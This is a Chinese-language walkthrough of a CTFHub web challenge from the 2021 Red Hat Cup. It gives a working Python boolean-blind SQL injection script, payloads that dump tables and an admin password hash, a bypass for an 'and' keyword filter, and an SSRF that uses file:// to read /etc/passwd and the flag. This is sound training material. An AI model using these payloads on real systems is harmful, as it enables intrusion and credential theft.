CTFHub_2021-第四届红帽杯网络安全大赛-Web-WebsiteManger

CTFHub_2021-第四届红帽杯网络安全大赛-Web-WebsiteManger(布尔盲注、SSRF )

场景描述:最新的网站测试器,作为非站长的你,能利用好它的功能吗?

场景打开后,如下,是个登录框
CTFHub_2021-第四届红帽杯网络安全大赛-Web-WebsiteManger_第1张图片
查看源码,发现可能的注入点 /image.php?id=2
CTFHub_2021-第四届红帽杯网络安全大赛-Web-WebsiteManger_第2张图片
布尔盲注

  • /image.php?id=if(1=1,1,5) True
  • /image.php?id=if(1=2,1,5) False
    条件为真时?id=1,回显第一张图片,条件为假时?id=5,没有id=5的图片,什么都没有。即可作为布尔盲注判断条件
from requests import *

allstr = '123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'

myurl = 'http://challenge-a26d398b5f986b54.sandbox.ctfhub.com:10800/image.php'

info = ''
for i in range(1, 50):
    for s in allstr:
    	#两种注入语句都可以,但是结果有不同
        # payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i, ord(s))
        payload = '?id=if(substr(database(),{},1)=\'{}\',1,(select/**/table_name/**/from/**/information_schema.tables))'.format(i, s)
        resp = get(url=myurl + payload)
        if len(resp.text) > 4000:
            info += s
            print(info)

CTFHub_2021-第四届红帽杯网络安全大赛-Web-WebsiteManger_第3张图片
CTFHub_2021-第四届红帽杯网络安全大赛-Web-WebsiteManger_第4张图片

#爆破数据库
payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i,ord(s))
#爆破表名
payload = '?id=if(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=\'ctf\'),{},1))={},1,5)'.format(i,ord(s))
#爆破列名
payload = '?id=if(ascii(mid((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=\'users\'),{},1))={},1,5)'.format(i,ord(s))
#爆破字段
payload = '?id=if(ascii(mid((select/**/group_concat(username,password)/**/from/**/ctf.users),{},1))={},1,5)'.format(i,ord(s))
这里在做题的时候,发现爆破字段得到的结果不是ctf下的users的字段,因为没有加ctf这个限制,应该是爆破到了其他数据库下的users中的字段,需要加上数据库名ctf的限制条件,不过这里题目有对 ‘and’关键字过滤,所以需要用‘&&’替换,而且还要编码为ulr格式‘%26%26’,这里也是用brupsuit抓包分析了很久才发现的,不过只要有耐心,最终还是会发现。
修改后的payload
payload = '?id=if(ascii(mid((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=\'users\'/**/%26%26/**/table_schema=database()),{},1))={},1,5)'.format(i, ord(s))

关键函数解释

  • mid() 函数:截取字符串一部分,mid(column_name,start[,length])
  • ord() 函数:是 chr() 函数(对于8位的ASCII字符串),它以一个字符(长度为1的字符串)作为参数,返回对应的 ASCII 数值。返回值是对应的十进制整数。
  • group_concat() 函数:连接一个组的所有字符串,并以逗号分隔每一条数据。能一次性查出所有信息。group_concat(str1,str2,…)

查询到的信息

Tables_in_ctf: users,images

Columns_in_users: username,password

values_in_users: adminf5b86501931f812ed3833dee67a43603

输入账号密码后如下
CTFHub_2021-第四届红帽杯网络安全大赛-Web-WebsiteManger_第5张图片
尝试输入127.0.0.1测试
CTFHub_2021-第四届红帽杯网络安全大赛-Web-WebsiteManger_第6张图片

curl这里应该存在SSRF

尝试file://协议去读文件,成功
file:///etc/passwd
在这里插入图片描述
直接读flag
file:///flag
在这里插入图片描述
参考:
https://www.cnblogs.com/zhengna/p/15907372.html
https://baijiahao.baidu.com/s?id=1713692186315301136

你可能感兴趣的:(CTFHUB,经验分享,web安全)